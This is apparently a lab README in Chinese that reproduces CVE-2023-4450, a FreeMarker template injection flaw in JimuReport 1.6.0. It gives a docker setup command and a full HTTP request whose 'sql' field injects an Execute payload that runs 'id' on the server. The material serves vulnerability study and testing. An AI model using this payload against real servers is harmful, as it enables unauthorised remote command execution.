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jimureport/CVE-2023-4450/README.zh-cn.md
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jimureport/CVE-2023-4450/README.zh-cn.md
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# JeecgBoot JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450)
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积木报表(JimuReport)是隶属于JeecgBoot项目下的一个开源的数据可视化报表平台。在其1.6.0版本及以前,存在一个FreeMarker服务端模板注入(SSTI)漏洞,攻击者利用该漏洞可在服务器中执行任意命令。
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参考链接:
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- <https://github.com/advisories/GHSA-j8h5-8rrr-m6j9>
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- <https://whoopsunix.com/docs/java/named%20module/>
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- <https://www.reajason.eu.org/writing/freemarkersstimemshell/>
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## 漏洞环境
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执行如下命令启动一个JimuReport 1.6.0演示服务器:
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```
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docker compose up -d
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```
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等待一段时间后,访问`http://your-ip:8085`即可看到报表首页。
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## 漏洞复现
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发送如下请求,即可在服务端注入FreeMarker模板`<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}`:
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```
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POST /jmreport/queryFieldBySql HTTP/1.1
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Host: localhost:8085
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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Content-Length: 100
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{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
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```
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可见,`id`命令已经成功被执行:
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